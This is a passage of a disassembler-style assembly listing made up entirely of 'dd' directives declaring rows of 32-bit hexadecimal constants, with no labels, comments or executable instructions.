		dd 7F74989Ah, 63417A7h,	0D8C4096h, 0A22A5450h, 8B20A90Bh
		dd 0D9D8C8DAh, 5CC30036h, 83CCBF70h, 0EB78F17Ch, 0FF0FB774h
		dd 0F2B580C1h, 6043080Bh, 49E6C0h, 716AD894h, 0CDE339BBh
		dd 17E88095h, 72F3CABh,	5C6004ECh, 8DCED01Dh, 3A009445h
		dd 0D28B139Eh, 2E43AFAEh, 6CAAFDh, 95E60834h, 0A300B512h
		dd 46CFF3DDh, 17E864CBh, 34B13Fh, 0CEA6242Eh, 2006727h
		dd 5B1BD565h, 1C50635Ch, 0C0B56A1Ch, 0C3EA38C5h, 0CCB887C8h
		dd 66053298h, 0C9D14A6Eh, 86F8CEC0h, 2180127Ah,	7DDCC09Ah
		dd 0D9005395h, 0E3E1E41Ah, 77EC27h, 326084C3h, 755B6CCBh
		dd 0BB020800h, 0B1522171h, 0C7810059h, 0CCE24787h, 15382D8Eh
		dd 0CCC5AE5Eh, 2C7E0F05h, 4B824C4h, 0AB76E400h,	643411B7h
		dd 80A2B53Ch, 4965F071h, 0FD387B4h, 7686569Ch, 40850809h
		dd 0FFF8904Fh, 0B92F9B84h, 48980014h, 5B771Fh, 65327CE0h
		dd 4B36CC5Ah, 5F73B000h, 0BF851369h, 8F670762h,	0A0EC9D4Fh
		dd 6B41437h, 99FC30FDh,	8054D44Ch, 5EBBCAC2h, 394FC7Ah
		dd 0E8226173h, 6EB81BD4h, 0CF007F4Eh, 8B6C4BDDh, 0CA11E9h
		dd 0B3148747h
		dd 0FFCEBB18h, 0FD8FEBA0h, 5A2D587Ch, 0E8840268h, 1EEA1675h
		dd 8FB34A1Ch, 80D34701h, 0D170155Ch, 7809002Dh,	53AAA933h
		dd 42009F99h, 35DC969Eh, 7A4D8BDh, 0A98786A5h, 0CE8639A0h
		dd 122E6874h, 8F403C45h, 3DBEB336h, 638050A5h, 1FB5160Eh
		dd 6A0EE8D6h, 0E0ADD930h, 9D4E71E3h, 0C5150246h, 68E97632h
		dd 5A90F4E8h, 800EC33Dh, 446A9F7Ch, 7C158EAh, 0DF9DBBFDh
		dd 38664054h, 0FA1E6419h, 76437C49h, 8184E30Ah,	40F46995h
		dd 0EF23008Bh, 55F3C572h, 0D303EA93h, 7851C453h, 0E2078867h
		dd 0DC114813h, 76C7D700h, 0B02C64B9h, 2F1A2300h, 0AF62ABEh
		dd 42160074h, 0EC078C5Ah, 97988E03h, 0AE33CF0Fh, 90096ACh
		dd 0AD79556Bh, 0D359009Dh, 7D0E181Ch, 270158B0h, 138A3FFFh
		dd 0AAE8901Dh, 25BD3902h, 0CC38D00h, 0E6ABEC03h, 6107FB74h
		dd 0D8B250A4h, 0BD1DE920h, 11080045h, 20847405h, 80275EF3h
		dd 55C8002Fh, 8EECBEh, 35839AE7h, 486D7C88h, 2C272526h
		dd 0E9A1BDh, 15B8ED58h,	9A00A7F6h, 0D5FF571Fh, 517D71h
		dd 9B95E862h, 0D0ECCCBCh, 0EAD9E600h, 3711C1ACh, 9054EA80h
		dd 0E52F00D4h, 3A4C50F0h, 280481F2h, 0D0B8FB34h, 98338DCh
		dd 42034D88h, 0F45E6061h, 10055E9h, 0E57C291Ch,	0C745ECh
		dd 70E3242Bh, 0BF3B0627h, 92B3080Fh, 7DB2402Ch,	3CD1479Bh
		dd 0AF4BCDECh, 365ECB00h, 5C04998Bh, 141F0918h,	40246EB7h
		dd 987B34Bh, 4B6C5Ch, 4868AF77h, 92D727h, 9905374Eh, 0C3091D6h
		dd 3BF36300h, 18DD490Eh, 6E5E1E52h, 17A30090h, 0CA3496FDh
		dd 1595500h, 8FFFAEA6h,	6BA512C0h, 0F3780082h, 0D4810E40h
		dd 0ADCE1500h, 65FF5EBFh, 3C1498E5h, 0FB8017DFh, 0E483C68Eh
		dd 0F8007BEDh, 2B677AFh, 355A1Bh, 70373AB3h, 55E42D2Ch
		dd 0AE076C00h, 5498ED68h, 20B363h, 8E6678Eh, 0B300170Bh
		dd 7F04F781h, 0E4E2EAh,	398D40B7h, 442BE721h, 98A16D03h
		dd 0BCED6B51h, 54C343C1h, 26D8A070h, 67848E3Fh,	0F94E00ACh
		dd 6E006F84h, 0FDFC5A07h, 0A46439h, 0E0AFA823h,	0F4406DA7h
		dd 0D6F10800h, 3625CD1h, 21DA0059h, 3237819Ch, 58263EC7h
		dd 0E7009B57h, 0AFE1BB17h, 54F0783h, 0C8CE9Bh, 2270AE9Ah
		dd 0BB097F00h, 2A88E21Eh, 69C40021h, 4F242E8Bh,	1500C004h
		dd 42EBA50Ah, 0FC815C07h, 0CBBB1F16h, 0EAFFCF75h, 4097E147h
		dd 0BFD98663h, 0FDA9B301h, 0BB2E92E7h, 1DCFBC70h, 805BD13Ch
		dd 0EB33CD22h, 0B7099EABh, 808F98F6h, 8EF5D580h, 0C0F87330h
		dd 0BEE16C4Ch, 920008DFh, 18E29BACh, 0F325703h,	0F37D88A6h
		dd 0BE71E180h, 3E7C6AF5h, 0D846582Eh, 0A5DD2809h, 0CBC0EE80h
		dd 0AF06B1h, 0D1B3632Bh, 0B8FADB81h, 0AE3B0E14h, 0AA240ECFh
		dd 84D36080h, 0BA09C02h, 559B5299h, 3EC55082h, 0A98E7860h
		dd 7A389200h, 2FF97097h, 44B62E74h, 0C7051EEFh,	30E1A984h
		dd 0F2C5D9BCh, 2F73CF1Eh, 1801B8ACh, 8079AE4Fh,	0BF55E8h
		dd 9D77C6DEh, 8DEFC494h, 0AF0071B0h, 2CF14AF0h,	78565Ch
		dd 94B49352h, 0AAFBE481h, 1E5158h, 0FCCDBDCCh, 274F401h
		dd 326999C9h, 0CA81E5FDh, 28D7DF59h, 0FFE702CCh, 64505E1Eh
		dd 1EA97C58h, 406A466Ch, 54FE10C6h, 0E73C3AD2h,	80783CF4h
		dd 5D40BB04h, 93DCFCh, 0E81A6A3Bh, 51B5F377h, 0C8E06600h
		dd 0F840B289h, 82849934h, 3E5B520Ah, 5EF56448h,	14709316h
		dd 872DA800h, 780D4A5Ch, 0AFF622h, 11D24ED4h, 0BA772EBFh
		dd 0F6CC7F01h, 0F9A65844h, 574C052Bh, 70B22Fh, 0AFCFE947h
		dd 0D54B91h, 54A3DD50h,	75DC28A9h, 0C3312100h, 989F84D0h
		dd 9E5900E9h, 0EB80FCC0h, 0ED1217B9h, 80262D7h,	0C0FAC166h
		dd 96DD3488h, 0ECB600F4h, 9BEAF4E0h, 45FB0200h,	76F9223Ch
		dd 9B7E4D6h, 0D8DD13A5h, 0DE00CCF2h, 8495E4CEh,	603403h
		dd 9A0250B4h, 0E2A24506h, 0A7DBDC16h, 0F7C0181Fh, 0F98A22D9h
		dd 616B0046h, 7D0B1875h, 0D7774E6Ch, 0B4706000h, 0AFB2BB6h
		dd 78350154h, 94961924h, 7113F0A3h, 9B4F300h, 0C77F2AFDh
		dd 4CBB0078h, 7DA04876h, 0F20B8C56h, 543EB603h,	0A27703E4h
		dd 0ACE839EAh, 6600EF8Ah, 1D0F1B1h, 3B9ED921h, 3803575h
		dd 2569449Bh, 56483B32h, 0C52F0018h, 0FF5875C0h, 1F107E7Eh
		dd 58377C82h, 0B079508Eh, 0B36D5A00h, 809616DBh, 0B2F435h
		dd 28C3E1A6h, 7DC79119h, 0BBDDE01h, 0D2983AABh,	2F7A1820h
		dd 58000509h, 20DE12A5h, 762DB201h, 88985308h, 1F41C30h
		dd 0B187B5B4h, 0D9FDCA65h, 6CC7C452h, 16784F00h, 0B9491512h
		dd 135109A3h, 0B4404670h, 0D0B42A23h, 0AD309904h, 740070ACh
		dd 1063B7C5h, 9E00F435h, 494F03C2h, 0D0119Ah, 0E759865Ch
		dd 46F02E76h, 43EEB10Fh, 380281F4h, 9CFC36A3h, 0E1190B7h
		dd 1F63AD60h, 0B15D4600h, 8700B656h, 0CCEF4CBFh, 749BAFBh
		dd 7D07E739h, 0DB11E031h, 0DE27159Ah, 0AD140275h, 150546Fh
		dd 374DEF35h, 0F03CDB09h, 33850083h, 312CB114h,	79B982Bh
		dd 45BBCD69h, 0E1416F4Bh, 0DCA80781h, 40FE28EEh, 14426300h
		dd 37B4C272h, 0D11700F9h, 6775A9CCh, 400C77Bh, 0EBFB9E83h
		dd 78E2291Ah, 20CF0BAEh, 3C90DFE5h, 0CE007E45h,	4143245Ch
		dd 78C63778h, 0A1830080h, 59AD6827h, 0EB00CBE6h, 0EDAC69D5h
		dd 0EFB25F95h, 0CC6A24C8h, 1D9068AEh, 0EDE38503h, 0C0AAE0ADh
		dd 4E820D42h, 0BE988072h, 0D20026C0h, 1B6D0858h, 2097C0Ch
		dd 0BFB8C5FEh, 28D48E46h, 0BDDACE00h, 2D0E133Eh, 2C4629CAh
		dd 0B500527Ch, 0D34CA2DBh, 633BF8h, 0F0F71A15h,	80F17F28h
		dd 0C5564F00h, 0F6BE85C9h, 71DF0016h, 8C3B728Bh, 5F002864h
		dd 54F09EDDh, 8766F4h, 604DF57Fh, 0A7484C13h, 5A3DC703h
		dd 90F00B6Bh, 8A5DD0h, 5343BD66h, 222A5E78h, 0DE58631Fh
		dd 360008A6h, 0CA7B3C14h, 3B8E3h, 8BAEEDBAh, 5E4CD159h
		dd 84DD6102h, 0D6907B8Dh, 2AFF07D4h, 5B0759BCh,	0A67511AFh
		dd 7920DC74h, 960DC00h,	0E9014ED3h, 0AB1D0F3Fh,	0E143A5F0h
		dd 8BEAF6ECh, 64000856h, 11CEE24Eh, 0B85000ABh,	7FAA89C9h
		dd 950A797Dh, 0A87BB5DAh, 3161501h, 0B0558473h,	24C18100h
		dd 83D3A8h, 0DE55914Eh,	0B553AB95h, 20198D2Bh, 0A09CF98Eh
		dd 6B301061h, 1C9C90B0h, 9E720C4Bh, 0F61201h, 2A3B03A4h
		dd 5A0B8548h, 227BA819h, 0E43C4BF8h, 41553E6Ch,	0AEEEB300h
		dd 0F78B62E3h, 0D84F7C00h, 1D9ED3E4h, 8C9D0051h, 4B4A8288h
		dd 7E60C520h, 0A1198688h, 0EEAE0055h, 108CA25Ch, 0B603DD07h
		dd 7E9897F2h, 0FB120B9Ah, 0B480F13Eh, 421E683Ah, 7B7C8801h
		dd 0B1ADD165h, 1F880D6h, 0C047FFh, 0FAA0892Fh, 3F8CC938h
		dd 75FEF000h, 325B8BDBh, 0DAEC1Bh, 2AF460CDh, 2F109DECh
		dd 7C00D398h, 2E9833CEh, 39975E27h, 52006406h, 6691B2BFh
		dd 0DC05A77Ah, 88F28012h, 0D1CB8440h, 34850Fh, 78231DB9h
		dd 60F7DCBCh, 7B90D600h, 4326155h, 0C92000ECh, 0E4AF0C3Ah
		dd 0AE00016Eh, 1A470FEFh, 0E2B260B3h, 0BED40A29h, 0FCB6BCh
		dd 2F932A8Eh, 2404F7BDh, 3E0E4622h, 2DB82CC0h, 0ACB200EBh
		dd 0FE98F005h, 8F01C463h, 9656E05Bh, 288043DDh,	0F2CCA7EDh
		dd 94B84520h, 50308B07h, 5500A595h, 119E231h, 2F42C473h
		dd 3B23EE51h, 0C86BDA83h, 2C682Eh, 8EE43FDFh, 93D0C6D4h
		dd 0BD67800Eh, 0CD81C0B1h, 7B1110h, 344815D1h, 0E7BABB1Dh
		dd 0AE049F03h
		dd 881CC842h, 12FC39E3h, 20CFE28Ah, 48D20E30h, 7A9DFE00h
		dd 6C89C6AAh, 0BC4E00FDh, 9E2FBE3Fh, 0F20197D8h, 25AD968Dh
		dd 1BD86A59h, 0CFA83BBCh, 0C62DBF00h, 2699171Ch, 3DA66C39h
		dd 7C00063h, 790C7F9Ah,	691E00FDh, 84BD4776h, 7A0087F1h
		dd 281D5D6Ah, 0FB0A72h,	37DEB47Eh, 0CE48A29Ah, 32A34503h
		dd 87F043D0h, 0F78200F9h, 0CCBFD8h, 7A5736E2h, 0B2841370h
		dd 0C3823Dh, 5A203C12h,	0E3D009h, 41479BE0h, 0B6FC4914h
		dd 0B1EE5Ch, 0D295E6F0h, 0AE561h, 9C76CD0Eh, 9206445Ah
		dd 0D6D4B300h, 36CE4EA9h, 0D1FD1867h, 2B2F1802h, 90E72400h
		dd 9C090DBCh, 0E09A0081h, 0B910D589h, 6600D463h, 98C55142h
		dd 9CE49602h, 0C2280C4h, 2C2F018Fh, 86445402h, 567033DFh
		dd 0FAB20090h, 302651AAh, 0C798A201h, 6B2AE857h, 0BD9EF0h
		dd 3B8493D9h, 0D66F2DA4h, 0C360FC01h, 6E2CF2E5h, 71F9D8h
		dd 0E2744637h, 4B415886h, 533C680Eh, 25FBC0C2h,	4C4CA610h
		dd 8D000A88h, 72A5399Bh, 410A37BBh, 9573925Fh, 5D682500h
		dd 0F0B21h, 8A7AA480h, 42C696A6h, 9AF76F1Dh, 0BE00181Ch
		dd 1B74AF3Fh, 0ECFD007Bh, 67221E61h, 57078038h,	0F8097584h
		dd 53057F70h, 74EF00EDh, 0D2D5864Ah, 0E20084F3h, 0DFB9DC1Eh
		dd 3A6C7Fh, 0E73498CBh,	0EEEFEB06h, 0AE1EF400h,	0E37EFAE0h
		dd 94030005h, 965BD60Eh, 607F2D92h, 0F91FC61Eh,	60809FD2h
		dd 0B4E34Dh, 9554C951h,	0F387F85Ah, 68801C9Bh, 0ADC49952h
		dd 0F8317392h, 0F5E0181Ch, 0ACDA3E16h, 9677C000h, 0AA6A7626h
		dd 0A1B8CDh, 31A4D1B2h,	37C92A46h, 0C5DED700h, 28198E54h
		dd 0B553FC66h, 958AB002h, 0B000985Ch, 0BF2FA8A2h, 0F443AD6h
		dd 18D34A18h, 33011B02h, 0DD86EFDEh, 0DC608058h, 399AF1B7h
		dd 787E2004h, 0CDF12680h, 5A12CFD7h, 8E648C17h,	1761603Ch
		dd 0CC41A585h, 0C7B9D4B5h, 23420A0h, 0AC5BBF05h, 90C0FF77h
		dd 0F900D247h, 0AB107C90h, 76192Fh, 65DFC875h, 0EF32545Bh
		dd 0FC148CE8h, 746C1CC2h, 0BDA95961h, 27205BEEh, 62430075h
		dd 3384BC06h, 0CAFE8174h, 460019F2h, 438A9A56h,	0FEA6725Ah
		dd 73353842h, 0F7F27800h, 0ED19444Eh, 8601A478h, 0DA39CD91h
		dd 42F4BD15h, 0DEBA0001h, 0E6C20C0Ah, 8071456Ch, 0C6862300h
		dd 935C8CC7h, 83D80355h, 0DC7E5750h, 5EA879D8h,	2FEA341Dh
		dd 5F47451Fh, 1D71F99Ah, 3CC9281Fh, 398416FCh, 230040EAh
		dd 0B916631h, 0CF056342h, 0E85CEC67h, 0EC0A440h, 68254BCh
		dd 0F8EF01ACh, 0C95A08FBh, 8A391080h, 945E010Ah, 0F00283B2h
		dd 8CC8009Ah, 0F20ECA6h, 3F522395h, 0E0800C80h,	0FE0122D5h
		dd 629D329Fh, 0E6C01959h, 3F2A0125h, 0A61C334Eh, 0F16F10C6h
		dd 0EFC9007Bh, 0FCA2348Ah, 0DEE841DAh, 2500A8BEh, 0D61C7BAAh
		dd 6B503D4h, 0F85F4B21h, 0B4F96D80h, 0D8CF49C0h, 79DF0Fh
		dd 0FC160BD0h, 3F2B35F1h, 0B86980F1h, 5D08ED74h, 0E93E000Ch
		dd 3F38FEFFh, 0E9C09863h, 0CEF80E8Ch, 0BAAD0090h, 56ED88A6h
		dd 0D2005DDFh, 0E1D351CAh, 4E8064h, 0BC9DB5Fh, 65F486B9h
		dd 2040BC60h, 488259Ah,	8EC11823h, 85598340h, 9C5CA6A2h
		dd 0AB6F1D00h, 834403h,	9A3BF4E2h, 0C2F96263h, 0FDFE247Bh
		dd 1D61B63Ch, 4C02331h,	2AD4506Eh, 5A74EBh, 0C70306E4h
		dd 0E0C87B59h, 0EF8B2B00h, 0A2279BCDh, 718C0196h, 0BEF03884h
		dd 0E10CC878h, 0E300B4E4h, 1AF66F9Dh, 0FA8CD3Dh, 1687718Bh
		dd 46179B00h, 0B0043E4h, 42142BB8h, 4AFF4Ch, 87E6956Bh
		dd 0A1C645F1h, 6144D700h, 0A31066BCh, 0AACF0003h, 1FF8EC09h
		dd 69004121h, 0DB6DF307h, 3AF4EBCDh, 0A801BDDCh, 0B92D319Fh
		dd 0B461FC32h, 37139D00h, 79767483h, 821C0090h,	0A1A5A39Fh
		dd 8B00D557h, 0E9F1C32Ch, 1432BBh, 9376F7D4h, 2B3D30F4h
		dd 0DF82BF00h, 0FBB96BF6h, 2A00403h, 806F71C4h,	0C74EE940h
		dd 0BC42B003h, 907FADDDh, 6A1DDFh, 0A5565D01h, 7B1D6CAh
		dd 0DE2AAF00h, 0F63DBFF3h, 30980E23h, 93A7EF62h, 3A01707Ah
		dd 38305F88h, 0ED646961h, 351B0F0Ah, 6FE3B446h,	0E807A2Ch
		dd 0E700206Bh, 58DAAF59h, 3CCC7C2Dh, 2E0B5A4Dh,	0BE810829h
		dd 0F13576BCh, 8542DC71h, 0FCA32405h, 30034303h, 0C8E064CFh
		dd 0FEBB495Fh, 95EA01EBh, 0CDAC4B2Fh, 0A318022h, 4D5563ADh
		dd 0D0E539F4h, 0C14C6080h, 0AABD4A82h, 0DAB93200h, 0F879756Ah
		dd 0CAFA09h, 0E03DDD42h, 1C0A25B4h, 0B10580F6h,	85A4D871h
		dd 9E6CCF80h, 0E7700F56h, 0F60042E4h, 38E674AAh, 7C33BC00h
		dd 0D79F4346h, 0C3B307F2h, 30A1514Ah, 27F7F5E7h, 0B8BB5B00h
		dd 7CEB4E9Dh, 56330063h, 6CAB1B0Dh, 290F7A9Fh, 261048h
		dd 6D280E1Eh, 8BB900B3h, 0C49BF443h, 0D01EBA03h, 1647A9DAh
		dd 54F07137h, 983AD6h, 8C9BACC3h, 79A91F24h, 7B688218h
		dd 0FD6B90h, 31F2BE96h,	0E7E5B9AEh, 0B65F6A01h,	4BF8B355h
		dd 0C36187FCh, 86182830h, 0B814F6B8h, 63BAB601h, 5CDD4323h
		dd 775DE8CFh, 75820029h, 51887E0Dh, 0E90E42F6h,	0A125E367h
		dd 952E5FAEh, 5880F7EDh, 7C7F1D37h, 40D88428h, 40F17E59h
		dd 44E69961h, 6C600589h, 504CFE0Eh, 2572C52h, 5FACD81Dh
		dd 8F108772h, 0B07D40FEh, 0C688857Ch, 55D4019h,	0D13E8C42h
		dd 0F01127A0h, 1708F8A1h, 460A9D03h, 97488454h,	0FC548422h
		dd 4844CE2Ch, 0ED08F7E1h, 28282220h, 28584534h,	3AB4508Fh
		dd 9AC86A5Fh, 0B9ED2706h, 80EF3838h, 0C296BB9Ah, 0EB26562h
		dd 3078AFDBh, 99B64120h, 7B0367E5h, 1CAEC2D6h, 0B378019Dh
		dd 0A9151890h, 8668893Fh, 0E98C82D9h, 43926047h, 606CFCAEh
		dd 0D6F891Eh, 73002E28h, 0B97494B7h, 29532Bh, 44FA9730h
		dd 0A6BBAE2Fh, 918B0F00h, 15AA339h, 0B3E80628h,	0D88FB271h
		dd 0B11AD904h, 1DC07477h, 0A0C31175h, 2A9A2A4h,	7B01D653h
		dd 9AE156C2h, 90C85063h, 65FE45FBh, 840CAB28h, 0A6B81503h
		dd 98235F95h, 1838F5EBh, 105EBED7h, 0CE50FB68h,	320B0F0h
		dd 4E900096h, 0F5A32763h, 5B001070h, 7FD7A87Ah,	768B66B3h
		dd 251907C8h, 421E099Fh, 0E8C0FC67h, 0F602FA38h, 0C21490E8h
		dd 5D9483F7h, 0C05FE8F4h, 0E75C0787h, 405051DAh, 172E23F8h
		dd 20BC18C0h, 1E1EB9DDh, 0A0BF8Ch, 7C483694h, 9C499BC4h
		dd 0B35E12F4h, 0CC114041h, 2B20C504h, 1D0E0245h, 484E2454h
		dd 0FEEF2440h, 831EEC00h, 0F06C37A8h, 80A25476h, 9197A31h
		dd 22344B84h, 43B80827h, 1FC1D130h, 7E2B60E8h, 0E416C328h
		dd 0B82E9F00h, 317A7CB0h, 25E8092Ch, 0B021125Dh, 0E4E0320Dh
		dd 5BE8CBF8h, 3B203003h, 0F8D183CFh, 1E08C40Fh,	84FF73D6h
		dd 8055926Ch, 71786548h, 0E20C7200h, 47B58822h,	0FEE00B0h
		dd 7E8F04CBh, 0A2794BCAh, 0E07D892h, 44EB1575h,	62C52C00h
		dd 5963010Bh, 6ACC27E0h, 91376011h, 0FA904700h,	13A80ED1h
		dd 7AC1047Fh, 0C9105270h, 0C2DD0108h, 25A8FCFBh, 60072100h
		dd 0E9446A97h, 7EA226C5h, 389748h, 0DA4CE7CDh, 0D018EF5h
		dd 99BF61F0h, 0CC718847h, 5CF7188Eh, 7298CD80h,	600739C6h
		dd 0A925077Ch, 7E92D3E0h, 39700ECh, 1B11C71h, 0C858B9A0h
		dd 15F50FC8h, 0DFC3204Eh, 0E56BF4A4h, 0C06A77D0h, 15FF8A20h
		dd 6C0F9FB0h, 0E331FB23h, 0A074B229h, 0A666849h, 9FFF4A1Ch
		dd 16A40728h, 4C1B01E3h, 0F79C08A6h, 15EE3500h,	30A94F00h
		dd 4D86FE07h, 0A5E2BEh
		dd 0F4CC4641h, 0E5DF368Dh, 5A6CD900h, 0AA1FDC74h, 0B374E7h
		dd 59DA6F04h, 0B14EB466h, 0C5377500h, 3671C241h, 6F0300AEh
		dd 846658C4h, 6901619Ch, 0BC29AD91h, 907053B3h,	69436F0Ch
		dd 0E5E1F5C3h, 346FB929h, 48B9173h, 72013F08h, 4943D0B3h
		dd 0BAF09029h, 0E4E300C8h, 0DE96C1Dh, 0C612339Ah, 0D81C038Ch
		dd 0B3F8C069h, 3CDD00CEh, 396DF671h, 640311DFh,	0BD890A8Bh
		dd 1E86D0CBh, 3B1705Dh,	7833BBF4h, 10015E2Ah, 6BFC7F91h
		dd 8BE8B893h, 7A34001Dh, 31F4E306h, 0A300B7FAh,	92B03CAFh
		dd 3FB15453h, 734C6158h, 4D315B00h, 1859A226h, 4CF85D00h
		dd 0CF3A0B81h, 0EE370073h, 0BAB38458h, 6C0E8988h, 44CE1457h
		dd 44C07675h, 1B6392h, 364C342Eh, 0E27BF274h, 0B2D87900h
		dd 40CB8645h, 0E42131Ch, 0E8CE8E3h, 0EE042C4Eh,	2321E052h
		dd 38104Ah, 198F0177h, 0B07CF05Eh, 3E97B800h, 0E758DECDh
		dd 6BF30039h, 75D548ABh, 6C0010EDh, 0BA485FAh, 1A5F9B1h
		dd 0C8934195h, 0E0DA7B31h, 5AF9B44Ah, 0E7FD0104h, 0B27B321Dh
		dd 98660DC0h, 41280099h, 316C5DCCh, 50EA74Ch, 0B60329F9h
		dd 0BBD2BF07h, 0E78C28DCh, 6D9E5600h, 13FDFF00h, 0A78702D6h
		dd 0AAAB01C8h, 6F244408h, 0ECE9C510h, 5A009DCEh, 33D39FBBh
		dd 0E8E4CC9Eh, 16BA00D1h, 9615C244h, 0C50087B0h, 9F282B69h
		dd 77F91C74h, 0B23300D2h, 0A06C1794h, 5F005E9Dh, 0A40727E4h
		dd 7EF86FF7h, 697900C3h, 0DFB7AB37h, 1C018B35h,	861E1DE5h
		dd 9BDC1B45h, 0F03A0F01h, 0AC20B0EAh, 0B1D0CC3Eh, 17B2C500h
		dd 0E2E88B28h, 74580031h, 224FC3FDh, 55143729h,	0EFAD04Ch
		dd 7577FCh, 0FFF53AEDh,	59FD001Ch, 97EDA21h, 9E010AB4h
		dd 183B1225h, 8BE00F67h, 3640035Fh, 1F094A9Bh, 7A3825A8h
		dd 71022713h, 0E0B9F90Eh, 0D04231F5h, 0F15100C9h, 0EC69E965h
		dd 58003B05h, 0A8D13D97h, 85BED2h, 17D52460h, 3C5194F5h
		dd 5F8D800h, 32E097ABh,	1D131869h, 9643FC65h, 4ED02000h
		dd 198C86AEh, 0F5E04Fh,	0C45D475Bh, 8EF9BF7Dh, 5403821Dh
		dd 40BAFC8Eh, 0B7CD7C96h, 785201DDh, 9FFC64Dh, 89C2D098h
		dd 0FE0C4E07h, 0E6902BA0h, 3E8DD70h, 504DE3F4h,	0ABF092BDh
		dd 1507CDA7h, 0A0C27844h, 0E7FF0D20h, 0B9C81E63h, 89EC41A4h
		dd 7A40CDADh, 1FB79B80h, 0E12A03FAh, 0F3084F3h,	0A761B1E8h
		dd 96E8BF00h, 78EF329Ah, 5C9848CFh, 0B937D400h,	71C7B8E2h
		dd 1F27B300h, 7A9CDCC2h, 912E009Dh, 43B5D668h, 0E4015387h
		dd 7DE9E1C1h, 0A02B0626h, 8F0782D4h, 215B95F3h,	0C7F543A0h
		dd 0D728002Ah, 176133B5h, 1F000163h, 1C8CFE68h,	0AEDF32h
		dd 0B48279A3h, 22352E83h, 1AB13E1Dh, 0F26E1CC0h, 3914C6CEh
		dd 3100D836h, 5074BBCFh, 0D300FB47h, 60B88124h,	7728DC6h
		dd 2BF4D46Bh, 0B7604E4Dh, 2C9650FCh, 0E1665E00h, 0CE9E083Eh
		dd 0FEDB1CE7h, 6FEA4EB0h, 2BBD6D20h, 0AC00F0DFh, 0AE9ADA20h
		dd 25747ECh, 0E7CA1AAAh, 0B2406C06h, 3200016Dh,	58D043ACh
		dd 7FCB647Dh, 0F3CF13B0h, 2B8400E4h, 345061EEh,	0FF0152E4h
		dd 238624F7h, 72F8F2C4h, 0D1AA0719h, 50BE7180h,	9F5029E2h
		dd 59F16E00h, 0F3461FACh, 8307002Bh, 0CC52B4EDh, 2200DBA1h
		dd 0FD12829Eh, 91798h, 8F668A1Dh, 47DA287Fh, 2AD3F600h
		dd 0DCE55444h, 95342463h, 302F0058h, 256741A4h,	8F426D00h
		dd 0AD4FF88Dh, 70281DCCh, 0C7939F1Ch, 10723B57h, 26C73320h
		dd 92146902h, 40B3FAC9h, 1A0C60Ch, 99AB3119h, 8F2B4F17h
		dd 0A0655DC0h, 0A5E553CEh, 78A00C7h, 0D58529C5h, 911C3DDDh
		dd 2C406B90h, 195CCF28h, 79350F04h, 7B43C855h, 1B0A3E0h
		dd 880057C5h, 0B192D56Dh, 0E66940h, 7D0C3C2Ah, 5D1ADF4Dh
		dd 0BCE24Dh, 0F8E0CD61h, 18940C0h, 0E91CCC6Ah, 0E0DDB23Dh
		dd 7650C39Ah, 0B400D785h, 0FCCDF8E8h, 7266772h,	590FABBBh
		dd 3E14208Ah, 6300D6F0h, 0FFD86DA1h, 36F3E4h, 0F28FC6A7h
		dd 0D4453C15h, 295A4A00h, 0B507EFA4h, 9C540257h, 0ACFDD3AFh
		dd 451080F5h, 0EF3904h,	16AE0CA5h, 5A9A98A4h, 800EDF3Fh
		dd 3184D581h, 0D02285h,	58EFC78Fh, 6DD74AA6h, 0D0AEA07h
		dd 75A5131Fh, 6841CFC2h, 2E25C730h, 2F2E3h, 8E6829C4h
		dd 0A2009D08h, 18EEA89Fh, 7E64ACh, 0A6679794h, 80601475h
		dd 699E1E00h, 0BE4838F3h, 6B2D1D5Fh, 0F007FA21h, 0A0DC314Eh
		dd 1A56423h, 84A70612h,	0D8981C63h, 0F65F71h, 23513011h
		dd 9C6F0828h, 294AC500h, 0C6702DDAh, 61A900DDh,	266C7190h
		dd 220794A0h, 3989153Bh, 0E31600A9h, 0F026EDBh,	5AFDFC23h
		dd 88E59E00h, 0B075244h, 31AA5BC0h, 90D74333h, 0A076055Eh
		dd 0D6E7AF0h, 6061E472h, 88A0C0A8h, 9ADF0101h, 45A1EF20h
		dd 0B39820h, 0AF21BD19h, 16E1414Fh, 1BB6C0B7h, 0CEFC0789h
		dd 0B006E651h, 2272B0B9h, 4CBA3Eh, 0A0870462h, 0C3C8C1h
		dd 27D9CD1Ch, 70800131h, 3062411Fh, 0C9D1FF40h,	0E6A86028h
		dd 4A291FC2h, 1F254079h, 3C981127h, 3B00F778h, 0F0A1ABAEh
		dd 0EC623E9Bh, 0BDEA00FEh, 5B8523D9h, 0E80E94C5h, 605811D4h
		dd 0A0DF53A3h, 121B0051h, 1E3633EFh, 0B102B463h, 43C7750Ch
		dd 1381D7A5h, 0E464031Fh, 2D00F95Eh, 36283E77h,	7EC0DF2h
		dd 0E0428E37h, 938DF04Ah, 500F01F5h, 80DF683Ch,	14284781h
		dd 79C57DB4h, 0F82174D7h, 0B0ED0A45h, 2B46968h,	7492430Eh
		dd 0A76124C2h, 1C6C74D5h, 9E779675h, 525A4F1Ch,	685E6D40h
		dd 0B46016h, 914E01AEh,	0EC238CE5h, 300787Eh, 0FD28FEF8h
		dd 0DF1EB1h, 97D726E3h,	1975187Fh, 5D74220Eh, 9C65A0EAh
		dd 7F9AFD01h, 52A5001Eh, 424E1CBBh, 0EF00DE3Fh,	5BDD282Dh
		dd 4CDA641Bh, 2500B3FAh, 88E31FE4h, 0AD004A92h,	1DED67C7h
		dd 47DA23Ah, 42709A90h,	300CC7F7h, 0E508D4FAh, 0C98B3E01h
		dd 0FBF07236h, 0A020DBCCh, 0BE0EB4h, 0D14189ACh, 0D1F3358h
		dd 672F3Ah, 5999C5ADh, 0E265ECE5h, 0F5BB07AAh, 602C7D50h
		dd 0CE2B6F9Dh, 68F3D0Fh, 0B9460B6h, 0DD1279h, 0A54A82DBh
		dd 0D8289FFEh, 0A4C11300h, 3B3F3DCAh, 6560E720h, 2F7612h
		dd 0C94DE01Fh, 0B23A021Dh, 27FF1B0Eh, 0E23EC0A4h, 82A74h
		dd 24884506h, 0FBD15B98h, 84AB6C1Fh, 83482300h,	1CDBB17Ch
		dd 40BA5E5Dh, 67BDD5ACh, 1A0F3AF4h, 0C0272146h,	614835D0h
		dd 0FECF70B3h, 6C707Eh,	0A995A8DBh, 62E1832Eh, 210161B0h
		dd 1E4F0319h, 0C02409D6h, 668B1D59h, 0BC6000FCh, 0CEB1AF01h
		dd 48D3DC00h, 5C294643h, 0FAD2311Ch, 508CF231h,	0CF65D8C0h
		dd 0C89CB70Eh, 0C0374E72h, 0D9133BBBh, 1AF200B3h, 0DB2AB6ACh
